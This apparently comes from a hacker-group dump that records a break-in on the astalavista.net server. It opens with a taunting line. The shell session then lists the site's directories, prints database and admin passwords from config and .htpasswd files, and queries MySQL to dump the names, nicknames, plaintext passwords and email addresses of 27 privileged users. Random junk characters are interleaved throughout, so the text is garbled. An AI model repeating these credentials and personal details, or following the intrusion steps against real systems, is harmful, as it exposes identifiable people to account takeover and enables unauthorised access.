& S; T) k( F1 I: ], z>> demonstrate what you.ve mastered by taking part in regular hacker contests7 P9 f5 \( B4 T8 D$ u9 [/ H+ W
>> and war games1 C+ b+ e% Q4 N
6 s$ f% ~- f0 e+ @* B, b" o
[~] Lets take a look there, after all… they are hack-proof, aren’t they?!
7 w- m! n- b( u3 U) F, A" A& d1 S* z7 Y" r9 v. M: S) }/ ~
[-] Tricky task: Find home dir of astalavista.net0 P6 \& f- l+ B! j/ ^- ?$ P

* [/ _- @6 v4 ^5 N) a8 Fsh-3.2$ ls -la ~astanet
) Y8 Z1 Q, d8 E- x# o! N, v' Utotal 48: g  Y* Z4 P$ d& I! Y) d; m
drwx–x–x  6 astanet astanet 4096 Dec 23 15:55 .7 f6 F  }  t- D) @
drwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..$ B& x0 f9 b# y- |/ t  ?9 i$ w
drwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth) m; U" o8 |; R
-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history* h7 L1 d# U- B2 P  G% T  D) a, ~
-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout& v0 |* B5 ~' o) v
-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile% {( P! A" q2 Y4 c- }  c
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc
6 ~! |7 Z/ H5 N# }" ]# qdrwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains$ K, ?6 C5 e# n# c" E
drwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap
- v/ j; `" `6 t- o' Odrwx——  2 astanet astanet 4096 Dec 23 12:18 mail" T: Q, F2 e4 m
lrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
* y' ]9 B1 A. w-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow
1 K( e, V7 Z) p6 E$ y, Y4 D+ y5 \& E, e, Z  i
sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/$ _. v& `" L' y7 U' ~2 o+ ~
sh-3.2$ ls -la
0 w+ ]2 m" i: vtotal 200, t& Q1 W; F  C$ M" m
drwxr-x— 29 astanet apache   4096 Jan  6 13:58 .
/ x, Z$ ?( K0 n2 wdrwx–x–x  8 astanet astanet  4096 Dec 23 13:53 ..* Q* C7 E& {4 Q* J
drwxr-xr-x  3 astanet astanet  4096 Dec 27  2006 _007, ~+ X: |- b3 Z0 ]- U7 x$ r# a' m
drwxr-xr-x  7 astanet astanet  4096 Jan  5  2006 _0mysql
$ B0 y7 v! H: H* U4 K2 w6 Mdrwxr-xr-x  7 astanet astanet  4096 Dec 22 14:16 链接标记astanet@astalavista.com
  `- x/ ~6 U3 y+ ]6 pdrwxrwxrwx  2 astanet astanet  4096 Jan  5  2006 backend9 G8 }% b; y; T8 l2 }( d
drwxr-xr-x  2 astanet astanet  4096 Oct 24  2006 banner: D  s" T0 e& D) P8 |  X% X% N) \
-rw-r–r–  1 astanet astanet 25724 Apr  4  2006 banner.jpg
5 n* P  \9 e/ K6 b8 E$ Cdrwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 config
0 y1 V' ?+ y; g& Q$ Xdrwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 cron
9 y' `* D4 S2 O( edrwxr-xr-x 11 astanet astanet  4096 Jan  5  2006 dvd
; C( m5 z* i% o-rw-r–r–  1 astanet astanet    36 Jan  5  2006 error.php0 s- y2 P1 f* o: [% X
-rw-r–r–  1 astanet astanet  1406 Jan  5  2006 favicon.ico
( p& p# V# D% R# z& ddrwxrwxrwx  2 astanet astanet  4096 Dec 15  2006 feed" r) P, O( T' ?4 g7 }1 u
drwxr-xr-x  3 astanet astanet  4096 Dec  8  2006 flashtour7 N) q# G9 j4 o
-rw-r–r–  1 astanet astanet    18 Jan  5  2006 htaccess
# C) N( f2 v2 a1 \+ L0 A: Y) h-rw-r–r–  1 astanet astanet   585 Mar 24 14:50 .htaccess
! V- o* F- |% g-rw-r–r–  1 astanet astanet   398 Jan  5  2006 index1.php7 p9 B4 k+ ]- f  W1 c* Q$ L2 H5 [
-rw-r–r–  1 astanet astanet  1036 Jan  5  2006 _index.html
. q( ~4 C' o& o4 T9 a  s" z, u: S-rw-r–r–  1 astanet astanet  6880 Dec 23 14:44 index.php7 I( O# Y2 U# A
-rw-r–r–  1 astanet astanet   676 Mar 21  2006 index_redirect.php
8 A6 ?$ A: {- y9 p( U-rw-r–r–  1 astanet astanet   739 Feb 24  2006 index.swf
  s+ C/ H; b& S: W% b1 Edrwxr-xr-x  4 astanet astanet  4096 Oct 18  2006 irc
5 h! ]3 @2 L- J- K6 M+ X) w3 Wdrwxr-xr-x  4 astanet astanet  4096 Aug 11  2006 lang
' x& F" n" Z% S9 y9 Ndrwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 lib5 q  _9 M" G* F- o
drwxr-xr-x  6 astanet astanet  4096 Aug 11  2006 log
! n' |6 S$ U1 j( z, P# k: E2 k( wdrwxr-xr-x  2 astanet astanet  4096 Jan 13 14:02 member& o, Q4 c7 N! H7 J; L
drwxrwxrwx  5 astanet astanet  4096 Jun  4 00:03 memberdata
6 Y9 p7 D1 `% Odrwxr-xr-x  2 astanet astanet  4096 Jan  5  2006 new4 |  `1 X2 k9 y
-rw-r–r–  1 astanet astanet  7219 Feb 24  2006 pix1.swf
6 M3 g# J( @% d5 S! ?drwxr-xr-x  2 astanet astanet  4096 Oct 27  2006 re' ?& |: J/ z4 U" q9 m2 \
-rw-r–r–  1 astanet astanet    23 Jan  5  2006 robots.txt
# Z: l+ ^- ], ^$ s% U. idrwxr-xr-x  3 astanet astanet  4096 Aug 11  2006 rss
, l: K9 M2 u+ [9 m. Q8 adrwxr-xr-x 39 astanet astanet  4096 Dec 13  2007 sources) D! b* Y9 l3 y) [" J
drwxrwxrwx  3 astanet astanet  4096 Feb  2 15:40 temp_com* N' I, @3 B, y! O" D
drwxr-xr-x  7 astanet astanet  4096 Aug 11  2006 themes
3 M# s" |+ M% i+ a. }/ A" T9 vdrwxr-xr-x  2 astanet astanet  4096 Mar 14  2008 tmp_src/ v/ p. J) S8 _/ u- r; p
drwxr-xr-x  5 astanet astanet  4096 Aug 11  2006 tpl
& a! x; ]; b, I5 O" Ldrwxr-xr-x  3 astanet astanet  4096 Sep  7  2006 v2
1 K, L6 d: l. v  M; ^. M3 `drwxr-xr-x 16 astanet astanet  4096 Jul  5  2006 v2_old
( w: i* v* R1 w$ Z. @9 Z9 |-rw-r–r–  1 astanet astanet    35 Dec  4  2006 webcash.php
2 o0 j; n; T/ S7 ^6 d% |* _5 k: Mdrwxr-xr-x 13 astanet astanet  4096 Sep 21  2006 wiki$ w- c; `1 D: u! ?
7 y$ X% O: C' f$ C3 e5 S
sh-3.2$ head -20 index.php8 T  l9 i' E$ ~; V* {5 I
<?PHP9 ?5 A- C" Q3 p; g3 H0 R
/**
' `9 e/ _: m' p! D( }0 {: g* Mainfile (external) for astalavistaNET v2.0/ F" e: Z: \0 {$ }6 [
*) K  l, T  V* ]7 O4 H# }
* @copyright     Astalavista IT Engineering GmbH. `& ]; M- Q5 a' _
* @author        Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>( G$ D* k! b* D' B: Q; ^" |8 M- H
* @version       1.0
" \. }1 H6 g6 {7 |4 ], Z*/
7 p" O. |0 s- j- @. I
; p9 q; L3 p; W4 q, N1 s* i# b        if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
+ R2 o6 X2 S0 G/ s" h3 n5 X                $dontStartSession = false;# M  |  `$ }; U* B$ I
        } else {+ |4 D. J8 t0 ?# W% B7 n% U4 n6 H
                $dontStartSession = true;
/ s! W4 E3 M) J4 S2 K  ^        }
7 o7 |/ t2 Y* {; q  q; a/ F        require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);# E$ {5 A! h! S3 D4 a4 W
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
- z5 g' P) N$ p+ X$ o        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
) P, `4 a  q; Y4 n  X2 S+ Z        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);0 }, B$ M: {/ _* e7 c" r8 a* t

8 r  R$ S5 L& s, w) d  d5 ssh-3.2$ cd config
0 Y7 D, X+ z+ K/ j4 d9 Rsh-3.2$ ls -la
7 G, F( w0 y! i! G( m& o  Vtotal 32
5 j9 \; N# @' S$ ~6 qdrwxr-xr-x  2 astanet astanet 4096 Aug 11  2006 ., N$ F: k! s7 H8 Z- c) o2 ]
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..
& q; q0 [) `' L-rw-r–r–  1 astanet astanet  987 Aug 11  2006 adm.conf.php0 s0 Z" b( ?2 b4 d4 T
-rw-r–r–  1 astanet astanet 4937 Dec 23 15:48 com.conf.php
8 T6 w$ g# ]% L2 [8 |/ ]( j4 f-rw-r–r–  1 astanet astanet  913 Aug 11  2006 cron.conf.php6 p, Y( w- t; |; G' ~% @7 z
-rw-r–r–  1 astanet astanet 1668 Aug 20  2008 ext.conf.php
" ^9 u# u( Z) O-rw-r–r–  1 astanet astanet 2724 May 30  2007 int.conf.php
( ^9 s/ q' p( T; j6 w0 c$ H1 X1 L6 P5 m2 M9 p  V7 }" x7 _" l
sh-3.2$ cat com.conf.php
; F, X, `$ w; ^* O  L2 M[snip]
: d' M5 I6 z- z! y3 Y4 b3 w//member-database
# d4 Z+ E7 e7 d9 [, Q& ]$_CONFIG['db_mem_server']       = ‘localhost’;4 B/ @% a' S; v* [
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;: `6 \# T: e3 A9 U
$_CONFIG['db_mem_user']         = ‘astanet_db’;4 c# H& E6 t' M; U
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;0 E; K+ f! q. n5 V* E5 S
$_CONFIG['db_mem_debug']        = false; //true or false; H3 z& p' i( G& A
//ads-database
) `( E# h/ a3 K! [, M4 I, w$_CONFIG['db_ads_server']       = ‘localhost’;
: E7 b7 Z* [2 W$ R6 X  D  u$_CONFIG['db_ads_database'] = ‘astanet_ads’;/ Y' L/ M6 G2 F# [7 Q; s3 V! g9 Z7 R
$_CONFIG['db_ads_user']         = ‘astanet_db’;
9 p3 k7 x; b7 {- v& z4 J: l$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
( U* Q( H" R" Y' |# b" E$_CONFIG['db_ads_debug']        = false; //true or false
+ j9 l/ f' S" C# U( x//rainbow-database% F! G4 w# Y% e" h0 l' j" t
$_CONFIG['db_rainbow_server']   = ‘212.254.194.163′;- m* J& s* \# W+ r2 a1 A9 T  t
$_CONFIG['db_rainbow_database'] = ‘rainbow’;
" p3 A( v- v+ w' d# s6 V$_CONFIG['db_rainbow_user']     = ‘dinu’;
' ^0 E) X3 O7 y5 j8 w$_CONFIG['db_rainbow_password'] = ‘dinudinu’;( W' ^+ r1 C+ Y9 [: |
$_CONFIG['db_rainbow_debug']    = false; //true or false
! d) V2 m2 J! S4 U5 f0 E/ C//mailing lists database
2 P& V' U) m# r9 n9 M$_CONFIG['db_mailing_lists_server']     = ‘localhost’;
! S9 {8 _) _, c$_CONFIG['db_mailing_lists_database']   = ‘astanet_mailing_lists’;
- n" v3 u; Q" l$_CONFIG['db_mailing_lists_user']               = ‘astanet_db’;+ N9 e' \6 i1 m5 ?7 H) c! D' ?
$_CONFIG['db_mailing_lists_password']   = ‘TXwVrC7hbq’;1 O6 ~( W/ Y% u
$_CONFIG['db_mailing_lists_debug']              = false; //true or false8 _3 c' A2 a; H1 D# l0 _2 M, }
//paypal; O  v7 R* O6 E0 A! B2 E
$_CONFIG['sub_pp_url']          = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;
' r9 l+ T2 i; d$_CONFIG['sub_pp_cmd']          = ‘_xclick’;! w, Q) l. h2 o( {, a2 d4 N
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
$ x+ ?  w; J" z$ P$_CONFIG['sub_pp_noship']       = ‘1′;5 \  z" k$ n! |' K
$_CONFIG['sub_pp_referer']      = ‘链接标记[url]https://www.paypal.com/[/url]’;
+ d# q$ i0 @1 L- g# G% N1 M[snip]7 N, S2 Y% Y7 L! V; g8 ]4 r" _' n  G$ W
; z) R( z# i- b/ v+ M7 r' D
sh-3.2$ cd .., b2 F/ h- p' x9 v# V( o" j
sh-3.2$ cd member
" `$ ?7 h  y  `7 S$ {+ U2 zsh-3.2$ ls -la
* t% o; T$ x7 R" E+ S* l# i/ Etotal 20
. J  b7 a8 Q: w6 gdrwxr-xr-x  2 astanet astanet 4096 Jan 13 14:02 .
( X" z6 L  f( J, o- c, A% p6 Fdrwxr-x— 29 astanet apache  4096 Jan  6 13:58 .., _: j) i& E  x) |7 M0 J
-rw-r–r–  1 astanet astanet   19 Jan 13 14:02 .htaccess, \+ x2 q* T& k% x9 {2 X  V" `$ z
-rwxr-xr-x  1 astanet astanet 6709 Jan 13 14:06 index.php. Q7 i3 t+ K' V' Z' L  K3 }0 j0 `: g2 T
sh-3.2$ cat .htaccess$ |& D6 V" w* Z" G: T" d
SecFilterEngine off
" x( b8 @) h) M; @) t6 S' }: m7 R. o) q. P2 W; C
sh-3.2$ cd ..
7 ^' `' C+ s* g6 {& Ash-3.2$ cd cron
8 m* D& i8 ~: G3 }7 q( C! Rsh-3.2$ ls -la( F* ^% u: X- U" e' b7 W/ O% [6 ^
total 168, W2 p) A  W5 X8 w0 j) z
drwxr-xr-x  3 astanet astanet  4096 Jan 12 08:52 .8 ?: u, \7 J0 ?8 s
drwxr-x— 29 astanet apache   4096 Jan  6 13:58 ..
7 _  E% y# [. {% I-rw-r–r–  1 astanet astanet  1272 Jan 12 08:24 0_corefile.php
$ C( H& S7 G" X% E+ N  j-rw-r–r–  1 astanet astanet  2356 Aug 11  2006 0_functions.php
/ F% |/ @1 D' R-rw-r–r–  1 astanet astanet  3616 Dec 23 15:44 1_daily.php' G: F4 Y( A- B% H- k7 _, K- V
-rw-r–r–  1 astanet astanet   527 Aug 11  2006 1_fivemin.php
9 y" v8 ?; ]) F: F  t0 z5 O-rw-r–r–  1 astanet astanet  5006 Dec 23 15:39 1_hourly.php
% l/ _6 P5 x" ]. P-rw-r–r–  1 astanet astanet   432 Aug 11  2006 1_weekly.php( s+ j9 v& S9 d7 m
-rw-r–r–  1 astanet astanet  2277 Aug 11  2006 2_advertising.php8 q# m) F$ h; U( r( l
-rw-r–r–  1 astanet astanet  4882 Dec 23 15:40 2_archives.php: n: C1 L: u1 m0 `
-rw-r–r–  1 astanet astanet  3784 Aug 16  2006 2_awstats.sh
+ }/ ^7 t( U; c-rw-r–r–  1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php  r( m" m% w( |) f1 S
-rw-r–r–  1 astanet astanet 14979 Jan 12 09:10 2_expire.php5 o5 D: l* s4 j5 N
-rw-r–r–  1 astanet astanet  7657 Aug 15  2006 2_exploitree_updater.php
* i$ y" q0 H6 r$ Z-rw-r–r–  1 astanet astanet   686 Dec 23 16:31 2_filesize.sh6 \, b; \" q/ N* @, x. s
-rw-r–r–  1 astanet astanet  9853 Aug 11  2006 2_keywords_old.php) r1 f- `# F8 B0 [& N4 \. n  M
-rw-r–r–  1 astanet astanet 15664 Sep 22  2006 2_keywords.php
% l9 h. g$ I' g3 |! b4 O0 P' @-rw-r–r–  1 astanet astanet  1233 Aug 11  2006 2_proxy_checker.php
, s5 r/ Y3 U0 S! y- K-rw-r–r–  1 astanet astanet  7558 Aug 11  2006 2_proxy_collector.php8 w3 d+ r0 V" N: |# R" Q, A
-rw-r–r–  1 astanet astanet   796 Aug 11  2006 99_create_emails.php
6 l* ~. n3 l" F4 f1 d! Qdrwxr-xr-x  2 astanet astanet  4096 Aug 11  2006 99_lang_email
2 |0 i- M  j7 q2 x" u. T6 k-rw-r–r–  1 astanet astanet  9622 Jan  6 16:04 login_reminder.php; G0 }8 i. w  I1 c6 [) o( E
-rw-r–r–  1 astanet astanet  9620 Jan  6 16:05 login_reminder_test.php! H4 H9 ?, D) v0 A8 K2 U( H
' f( i! a. w7 n- V  q' h
sh-3.2$ cd ..9 t7 N' k6 n5 e
sh-3.2$ cd _007
. e! d/ n5 E& ?! x; nsh-3.2$ ls -la6 G* n+ g( b0 F: \3 S2 Z
total 24  S" t3 I5 D7 K1 F
drwxr-xr-x  3 astanet astanet 4096 Dec 27  2006 .. G: i7 q5 L* Y  K
drwxr-x— 29 astanet apache  4096 Jan  6 13:58 ..0 k8 _" D( u% k* S8 Y( n( a
-rw-r–r–  1 astanet astanet   96 Dec 23 15:17 .htaccess; c/ G3 b1 I$ o- g! t5 L
-rw-r–r–  1 astanet astanet 3263 Jan 15  2007 index.php
5 c9 p: ?! H8 w+ L5 |! ~4 L-rw-r–r–  1 astanet astanet   20 Dec 27  2006 info.php. V! r, @# B/ d6 j' Z* M5 R
drwxr-xr-x  5 astanet astanet 4096 Aug 11  2006 sitemap
: y+ g1 P# ?/ h  H# D! a# U7 m6 ~. H% D, v7 p7 s0 v0 e% J
sh-3.2$ cat  .htaccess& }. r% u( G4 Y7 T
authType Basic
. m$ h$ F! Q7 v9 D' f  L7 T4 wauthName Admin8 H/ ]! ]0 h7 x6 @
authUserFile /home/astanet/auth/.htadm_pwd
3 W' o) z1 c9 s! i' M. U, E2 }require valid-user
( z- b# W* T( W6 |8 K, h6 p- D9 ^' F
sh-3.2$ cat /home/astanet/auth/.htadm_pwd9 A8 g4 {  [6 a5 Q# p. h
admin2net:CR0bl65MwhfT
7 f' ^; f2 ^- p* r) G  v8 U0 G0 o* M' M: U# }, L6 ]8 _/ x9 e
sh-3.2$ mysql -u astanet_db -p, g& c( z2 m0 e5 G0 r$ E* n( Z
Enter password:
' f- h1 U$ f4 V) a/ R  ~/ JWelcome to the MySQL monitor.  Commands end with ; or \g.& e% j* Z" Z3 v6 c
Your MySQL connection id is 2751538 K3 U6 o5 \* d
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
3 a* ^1 J" k0 L1 v& u
+ N3 V0 a) m& F7 gType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.2 O, I9 G# s9 R6 f" s

5 U+ I; N/ U: Dmysql> show databases;$ r8 O' x7 U0 d; U/ b
+———————–+' M5 M, b6 n. m: n  Y% {  r5 Q' s/ z
| Database              |
* w: s/ M% |- ]1 K) c5 Q1 p6 W+———————–+3 {! ?3 h3 Z  X
| information_schema    |8 |' s" v; }9 Z: G3 M$ _3 y
| astanet_ads           |
$ k& _. w/ D8 d' Q9 W| astanet_mailing_lists |! R7 }1 N& W$ r) N5 M  D$ Z
| astanet_mediawiki     |2 x: y0 Z, v9 m3 }
| astanet_membersystem  |0 g8 {+ M' {+ s$ ^0 b5 M
| test                  |3 B1 f2 H; @. d- @
+———————–+
$ v" q# ]/ ~" j/ R* c6 rows in set (0.00 sec)
$ |# y- ^, b& w" r5 E, |* I0 {
/ _4 H( y- a. B" ^mysql> use astanet_membersystem! Y+ K% |# j& L* H1 M! @3 C  g
Database changed
5 g- U! J9 i0 \/ P$ Bmysql> show tables;
+ o; e- `9 k/ M7 Y4 Z, h+———————————–+' C6 P5 G* I) f& M
| Tables_in_astanet_membersystem    |
. e; a. Y( v7 X$ o3 U3 O- k+———————————–+
  N1 [, [- I/ K7 @! ^& X| blacklist_categories              |0 O; G- m) [7 ]0 T5 ^# R- w5 |
| blacklist_content                 |
6 Q# {# R( x, `9 D5 R& S| blacklist_levels                  |
0 I/ n- ?# b( [  y' P| blacklist_mcset                   |* b$ `- N1 F2 B7 u
| dir_categories                    |
9 H, F0 l6 |1 a0 H* X0 e4 ~2 k| dir_comments                      |
0 n/ e/ s2 E3 x| dir_links                         |
- c! q2 p) X: j# A- P9 e# B9 U( s| dir_temp                          |
4 d% C) O! M7 {( }* {| dir_votes                         |
! I' m$ w2 q/ \6 w6 Z  @0 {| documents                         |% I5 \  @" v$ L# y& f; g
| documents_categories              |
- v; z) ?+ R5 n: ~5 w0 m6 B6 ^| email_content                     |! d/ C7 @  @; ]
| email_settings                    |2 w6 u( I( Y7 b" p
| exploits                          |- |* E3 z( c) r/ i) }
| exploits_categories               |/ J- p5 Y8 \7 q3 O% H: b$ P
| exploittree_categories            |
, @' t1 G  o6 h2 D5 {: v7 B| exploittree_exploits              |
" A8 }4 {' ?$ h' ]8 u+ W/ m| home_values                       |
; {: C; E# V8 C1 I& t4 R# B! h| iso_countries                     |
9 S1 a! r6 k! b. _" X| links_categories                  |% V3 G& I7 q  q( q: R, \7 I
| links_records                     |
% r" Y4 K9 }- n4 [* E* l3 ^| links_unauth                      |# J  y/ T! _8 n
| links_votes                       |
& {* Z. @: s( U  D7 t5 T$ I| log                               |" `) ~  b) A+ h. l  F
| news_categories                   |
+ ^1 B  Z2 |" K! @& M. x! [7 e9 V| news_comments                     |
& h; l5 O/ V* o8 r3 l( f| news_emoticons                    |
& k! f1 Q( z. C0 Y| news_latest                       |
8 D  \. f+ y0 K| news_messages                     |
% ]& |. F# d; _7 _| news_statistics                   |7 t; B9 ^" I. t" O7 M. i/ S
| news_votes                        |
0 r0 F) o' Q5 X. `& V| prices_content                    |$ i  j3 I# b  F/ W8 \7 ?0 }/ z
| prices_offers                     |
) r" F* S0 K5 ~# j- e+ g| rss_settings                      |
0 |5 U# h8 P: N: J% R$ @/ @| sessions                          |
0 k( x( f3 g" L( d| stats_signups                     |: V6 O$ j3 e4 c; ]# l
| u2u2                              |
( r: {6 h9 u9 L2 K0 |! J| u2u_contact                       |8 R& {. j( \& D3 q
| u2u_settings                      |
- ]0 A1 d3 ^0 B9 M| user_keywords_selected_categories |  z! \% T3 [! q
| users                             |
; C* {' l- ~6 w' C' j) V* H( q| users_ipn_test                    |
1 F9 S6 a+ ^& `% A. E, v| users_keyword_values              |
; J/ ?$ j( V5 w) d+ L! e| users_profile                     |% ]' L* D3 K- \) L6 l  c! i: E
| users_temp                        |0 @1 M! i4 E2 ?' z
| users_upgrade                     |1 i0 Y2 g, y% K" A6 S& v2 Y" ?. u. i
+———————————–+! G% `, B% N& A/ \( S7 v4 A7 A
46 rows in set (0.00 sec)3 u2 k- \# H! q7 ^1 _

3 Z1 ]2 _, H, h9 \- omysql> describe users;
. e8 ?" |7 V4 L: u+————————–+————————————–+——+—–+———————+—————-+
6 {; |9 _: `* p) F4 S5 i| Field                    | Type                                 | Null | Key | Default             | Extra          |
9 ^9 T" q9 W8 z. M! B" F" s+————————–+————————————–+——+—–+———————+—————-+
% e0 F0 D3 r4 L( x( w& ^| primary_key              | smallint(5) unsigned                 | NO   | PRI | NULL                | auto_increment |
) {0 N% T2 G0 _0 i| user                     | varchar(50)                          | NO   |     |                     |                |
6 ]$ V3 l! R+ m; L+ r' d| nickname                 | varchar(30)                          | NO   | MUL | anonymous           |                |+ S2 h/ K. ^( K5 _- D6 ^* d% w9 Y
| password                 | varchar(30)                          | NO   |     |                     |                |# i# R2 x0 H3 N! n/ ^0 [
| userlevel                | tinyint(3)                           | YES  | MUL | NULL                |                |
' z1 ?$ y5 y' a* j| exp                      | int(8) unsigned                      | NO   |     | 0                   |                |0 K5 E  C2 B7 |
| email                    | varchar(50)                          | NO   |     |                     |                |' z9 l. F- m3 A
| ip                       | varchar(15)                          | NO   |     | 0                   |                |
1 b8 h$ R4 [: T3 a% _- o| proxy                    | set(’0′,’1′)                         | NO   |     | 0                   |                |. X: |2 ]1 F* I5 R3 R" w
| logtime                  | timestamp                            | NO   |     | CURRENT_TIMESTAMP   |                |# X4 y7 A. Y$ L
| login_reminder_last_sent | timestamp                            | NO   |     | 0000-00-00 00:00:00 |                |" O& B5 Y) @" _6 |- z2 o
| anz_in                   | tinyint(1)                           | NO   |     | -1                  |                |
' Z% K: V7 o" h( i| status                   | tinyint(1) unsigned                  | NO   |     | 0                   |                |
& \7 [. q" E% s% c4 d% z| checked                  | set(’0′,’1′,’2′)                     | NO   |     | 0                   |                |+ p2 u; g+ y- N
| freemember               | set(’0′,’1′)                         | NO   |     | 0                   |                |
0 X+ r# K2 W6 L/ C, }7 p/ c| ordertype                | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES  |     | NULL                |                |
! P2 p3 p! f# e$ ]* _| lang                     | tinytext                             | NO   |     |                     |                |" f8 K# N5 M9 ?  z
| adid                     | smallint(6)                          | NO   |     | 0                   |                |
+ u; @# e1 l4 u| pp_txn_id                | varchar(255)                         | YES  |     | NULL                |                |
! ?$ K' m9 ~% C  Z0 m: k# P| cnb_transaction_id       | varchar(255)                         | YES  |     | NULL                |                |
2 L  r3 J7 q+ H/ ~$ W! I| cnb_order_id             | varchar(255)                         | YES  |     | NULL                |                |
$ t( M8 c% F( ~0 ~9 |/ R| cnb_user_id              | int(11)                              | YES  |     | 0                   |                |
0 f' B$ i0 ^5 b3 K+————————–+————————————–+——+—–+———————+—————-+8 A; j& _. C6 s- B
22 rows in set (0.01 sec)
7 p+ q- h* U( }9 F0 v& X' k. p6 J" ?0 e6 O6 P
mysql> select count(*) as skids from users;
8 s! e- }+ u) r; z7 w7 M+——-+4 v7 b/ f& ?9 L8 T
| skids |
% B  |, @5 [6 [& N* n, M+——-+: E0 t% }$ n+ x8 F: G# [
| 25199 |+ y& s" O3 r  Q/ u9 W8 G+ F
+——-+6 O% l. |& Q( P  ?  [7 M1 \
1 row in set (0.00 sec)
2 N0 J9 o" \1 W4 c2 a# f' |: G! s
mysql> select user,nickname,password,email from users where userlevel = 1;' y/ e7 L0 J! M0 v, S! L7 d
+————————–+———————-+——————+———————————–+
1 W" }% Q/ w; K" L' x0 A! M6 o7 n| user                     | nickname             | password         | email                             |6 U5 |  t. ~. R+ `2 L
+————————–+———————-+——————+———————————–+
# I" |0 [1 X5 |: }* \1 B9 \+ U| pascal                   | prozac               | astaman3         | 链接标记info@astalavista.net              |4 L5 }; v4 S) y: M3 k* r
| Ivan Schmid              | rOOtless1            | astalavista4asta | 链接标记ivan.schmid@comvation.com         |
) |( }1 a$ b( M4 i+ Y| qreymer                  | Palermo              | qblsw85iam       | 链接标记eche@home.se                      |
- S0 I7 f' g, z* O% e| Christian Wehrli         | g0atherd             | hitt?74          | 链接标记g0atherd@gmx.net                  |& @2 D) S( j) Y9 A' b" G/ Q+ J3 `3 d
| Andrew Blake             | Minky                | liq73uid         | 链接标记a.blake@har.mrc.ac.uk             |
" }9 z: L* L5 Q6 m| Martin Wyss              | dinu                 | kj63;cXy         | 链接标记martin.wyss@astalavista.net       |8 ~) c$ [, c( A0 T" s1 p
| Leandro Nery             | Timan_no_Sanco       | nery2002         | 链接标记leandronery@hotmail.com           |7 n0 G( M1 |3 y4 T
| shaving ryans privates   | ShavingRyansPrivates | memberboard313   | 链接标记shavingryansprivates1@hotmail.com |
$ T4 ]' Z1 V( K$ ?2 f4 k0 N| Gerben van der Lubbe     | Spoofed Existence    | Lb59eXg5         | 链接标记spoofedexistence@hotmail.com      |$ M" n: z- h; o- D, B3 i( p# F. W
| David M Lee              | Daremo               | icG12m03         | 链接标记daremo@hackerheaven.com           |6 o5 A! U- I/ j+ J1 z9 L* [
| David Corn               | akriel               | ve3uB$cUku       | 链接标记akriel@fallenroot.net             |
9 V# l% U! o: d. `3 j; ?| Thomas Kalin             | Gwanun               | QwErTy123        | 链接标记thomas.kaelin@astalavista.net     |+ o$ r$ G3 E& @8 c5 k
| Marcus unknown           | Cra58cker            | hhCr4ck06        | 链接标记unknownmarcus@hotmail.com         |5 c- L" I( `6 ~# ^1 y5 f7 n
| David Ellis              | dellis203            | philip           | 链接标记dellis@nightwatchnss.com          |  z- K' p6 X/ t( k( n! a
| Lars Christian Solberg   | xeor                 | tF3s4|Nea        | 链接标记xeor@hush.com                     |; v0 b  O3 ?8 }6 q0 W
| Paulo Santos             | Be1er0ph0r1          | amor01           | 链接标记pmsantos@gmx.ch                   |
( `& \- B* i2 `! h+ g| Thomas D?ppen            | daha                 | asta4tom         | 链接标记thomas.daeppen@astalavista.ch     |5 d+ @4 E; g1 H  w: b1 e
| Touraj Abbasi Moghaddasi | -Crow1               | NetR0ck          | 链接标记toraj.a.m@gmail.com               |' o/ S: y; P9 N- z$ q* R
| Fabius Bernet            | traviser             | wellenreiter100  | 链接标记fabius.bernet@astalavista.ch      |
6 @. H0 J5 r' J0 O  {8 x! M| Zachary McElroy          | duder1               | dirty245dix      | 链接标记mcelroyzj@yahoo.com               |
( |) P" [& Z7 y- i0 r| Leron Cohen              | cohen2               | leron4free       | 链接标记leron@quiredmedia.com             |
: G1 x. r8 T- Z, i9 ^| Beatriz Pontes           | anonymous1656        | pitas            | 链接标记joao.pedro.pontes@gmail.com       |
$ r, J" s1 R+ i9 z| Glafkos Charalambous     | anonymous2086        | si99490178$#     | 链接标记nowayout@webhostline.com          |& K7 D1 Z6 ~5 y; S8 j4 `( _
| developer COMVATION      | anonymous2402        | Ri?Q$Q$MVU       | 链接标记ivan.schmid@astalavista.ch        |
4 W" m2 e6 a; F7 q3 }, C| Peter Fisher             | cyph3r1              | testZer025435    | 链接标记cyph3r@astalavista.com            |/ L8 D  U+ ^# ?: f' H
| sykadul                  | sykadul              | ak29eral         | 链接标记sykadul@gmail.com                 |
6 e; [, @) c3 {| Ronny Janzi              | commander1           | mpbdaagf6m       | 链接标记ronny.janzi@astalavista.ch        |7 l' D; H, r5 `* p
+————————–+———————-+——————+———————————–+: l/ S) D( ]! x, Q& y
27 rows in set (0.00 sec)
5 \6 L# T: T4 g# _, h/ p; I' Q' R+ e) B  A( G9 D
mysql> exit;
7 f8 H, H, H' u0 f2 O8 v! J; Z/ hBye
